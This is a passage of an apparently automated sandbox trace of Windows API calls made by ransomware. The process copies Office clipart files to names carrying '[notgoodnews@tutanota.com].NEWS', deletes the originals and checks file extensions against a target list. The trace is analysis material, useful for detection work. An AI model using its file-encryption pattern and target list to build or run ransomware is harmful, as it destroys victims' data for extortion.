lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3928, lpOverlapped=0x0) returned 1 [0187.574] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3930, lpOverlapped=0x0) returned 1 [0187.575] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.575] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.576] SetEndOfFile (hFile=0x370) returned 1 [0187.576] CloseHandle (hObject=0x370) returned 1 [0187.576] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.576] SetEndOfFile (hFile=0x454) returned 1 [0187.580] CloseHandle (hObject=0x454) returned 1 [0187.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0187.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.582] lstrlenW (lpString=".doc") returned 4 [0187.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.583] lstrlenW (lpString=".docx") returned 5 [0187.583] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0187.583] lstrlenW (lpString=".pdf") returned 4 [0187.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.583] lstrlenW (lpString=".xls") returned 4 [0187.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.583] lstrlenW (lpString=".xlsx") returned 5 [0187.583] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0187.583] lstrlenW (lpString=".ppt") returned 4 [0187.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.583] lstrlenW (lpString=".zip") returned 4 [0187.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.583] lstrlenW (lpString=".rar") returned 4 [0187.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.583] lstrlenW (lpString=".bz2") returned 4 [0187.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.583] lstrlenW (lpString=".7z") returned 3 [0187.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.583] lstrlenW (lpString=".dbf") returned 4 [0187.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.583] lstrlenW (lpString=".1cd") returned 4 [0187.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.583] lstrlenW (lpString=".jpg") returned 4 [0187.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.584] lstrlenW (lpString=".doc") returned 4 [0187.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.584] lstrlenW (lpString=".docx") returned 5 [0187.584] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0187.584] lstrlenW (lpString=".pdf") returned 4 [0187.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.584] lstrlenW (lpString=".xls") returned 4 [0187.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.584] lstrlenW (lpString=".xlsx") returned 5 [0187.584] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0187.584] lstrlenW (lpString=".ppt") returned 4 [0187.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.584] lstrlenW (lpString=".zip") returned 4 [0187.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.584] lstrlenW (lpString=".rar") returned 4 [0187.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.584] lstrlenW (lpString=".bz2") returned 4 [0187.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.584] lstrlenW (lpString=".7z") returned 3 [0187.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.584] lstrlenW (lpString=".dbf") returned 4 [0187.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.585] lstrlenW (lpString=".1cd") returned 4 [0187.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0187.585] lstrlenW (lpString=".jpg") returned 4 [0187.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.585] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.585] lstrlenW (lpString="J0152432.WMF") returned 12 [0187.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.586] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=16492) returned 1 [0187.586] CloseHandle (hObject=0x454) returned 1 [0187.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220 [0187.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.587] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.587] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.588] GetLastError () returned 0x0 [0187.588] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x406c, lpOverlapped=0x0) returned 1 [0187.591] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4070, lpOverlapped=0x0) returned 1 [0187.593] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.593] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.593] SetEndOfFile (hFile=0x370) returned 1 [0187.593] CloseHandle (hObject=0x370) returned 1 [0187.593] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.593] SetEndOfFile (hFile=0x454) returned 1 [0187.597] CloseHandle (hObject=0x454) returned 1 [0187.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0187.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.599] lstrlenW (lpString=".doc") returned 4 [0187.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.599] lstrlenW (lpString=".docx") returned 5 [0187.599] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0187.599] lstrlenW (lpString=".pdf") returned 4 [0187.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.599] lstrlenW (lpString=".xls") returned 4 [0187.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.599] lstrlenW (lpString=".xlsx") returned 5 [0187.599] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0187.599] lstrlenW (lpString=".ppt") returned 4 [0187.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.599] lstrlenW (lpString=".zip") returned 4 [0187.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.600] lstrlenW (lpString=".rar") returned 4 [0187.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.600] lstrlenW (lpString=".bz2") returned 4 [0187.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.600] lstrlenW (lpString=".7z") returned 3 [0187.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.600] lstrlenW (lpString=".dbf") returned 4 [0187.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.600] lstrlenW (lpString=".1cd") returned 4 [0187.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.600] lstrlenW (lpString=".jpg") returned 4 [0187.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.600] lstrlenW (lpString=".doc") returned 4 [0187.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.600] lstrlenW (lpString=".docx") returned 5 [0187.600] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0187.600] lstrlenW (lpString=".pdf") returned 4 [0187.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.600] lstrlenW (lpString=".xls") returned 4 [0187.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.601] lstrlenW (lpString=".xlsx") returned 5 [0187.601] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0187.601] lstrlenW (lpString=".ppt") returned 4 [0187.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.601] lstrlenW (lpString=".zip") returned 4 [0187.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.601] lstrlenW (lpString=".rar") returned 4 [0187.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.601] lstrlenW (lpString=".bz2") returned 4 [0187.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.601] lstrlenW (lpString=".7z") returned 3 [0187.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.601] lstrlenW (lpString=".dbf") returned 4 [0187.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.601] lstrlenW (lpString=".1cd") returned 4 [0187.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0187.601] lstrlenW (lpString=".jpg") returned 4 [0187.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.601] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.602] lstrlenW (lpString="J0152436.WMF") returned 12 [0187.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.603] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11340) returned 1 [0187.603] CloseHandle (hObject=0x454) returned 1 [0187.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220 [0187.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.605] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.605] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.606] GetLastError () returned 0x0 [0187.606] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x2c4c, lpOverlapped=0x0) returned 1 [0187.838] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2c50, lpOverlapped=0x0) returned 1 [0187.839] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.839] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.839] SetEndOfFile (hFile=0x370) returned 1 [0187.840] CloseHandle (hObject=0x370) returned 1 [0187.840] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.840] SetEndOfFile (hFile=0x454) returned 1 [0187.844] CloseHandle (hObject=0x454) returned 1 [0187.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0187.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.846] lstrlenW (lpString=".doc") returned 4 [0187.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.846] lstrlenW (lpString=".docx") returned 5 [0187.846] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0187.846] lstrlenW (lpString=".pdf") returned 4 [0187.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.846] lstrlenW (lpString=".xls") returned 4 [0187.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.846] lstrlenW (lpString=".xlsx") returned 5 [0187.846] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0187.846] lstrlenW (lpString=".ppt") returned 4 [0187.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.846] lstrlenW (lpString=".zip") returned 4 [0187.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.846] lstrlenW (lpString=".rar") returned 4 [0187.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.846] lstrlenW (lpString=".bz2") returned 4 [0187.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.846] lstrlenW (lpString=".7z") returned 3 [0187.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.846] lstrlenW (lpString=".dbf") returned 4 [0187.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.846] lstrlenW (lpString=".1cd") returned 4 [0187.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.846] lstrlenW (lpString=".jpg") returned 4 [0187.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.847] lstrlenW (lpString=".doc") returned 4 [0187.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.847] lstrlenW (lpString=".docx") returned 5 [0187.847] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0187.847] lstrlenW (lpString=".pdf") returned 4 [0187.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.847] lstrlenW (lpString=".xls") returned 4 [0187.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.847] lstrlenW (lpString=".xlsx") returned 5 [0187.847] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0187.847] lstrlenW (lpString=".ppt") returned 4 [0187.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.847] lstrlenW (lpString=".zip") returned 4 [0187.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.847] lstrlenW (lpString=".rar") returned 4 [0187.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.847] lstrlenW (lpString=".bz2") returned 4 [0187.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.847] lstrlenW (lpString=".7z") returned 3 [0187.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.847] lstrlenW (lpString=".dbf") returned 4 [0187.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.847] lstrlenW (lpString=".1cd") returned 4 [0187.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0187.847] lstrlenW (lpString=".jpg") returned 4 [0187.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.848] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.848] lstrlenW (lpString="J0152606.WMF") returned 12 [0187.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.849] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=16632) returned 1 [0187.850] CloseHandle (hObject=0x454) returned 1 [0187.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220 [0187.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.850] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.850] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.852] GetLastError () returned 0x0 [0187.852] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x40f8, lpOverlapped=0x0) returned 1 [0187.854] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4100, lpOverlapped=0x0) returned 1 [0187.855] ReadFile (in: hFile=0x454, 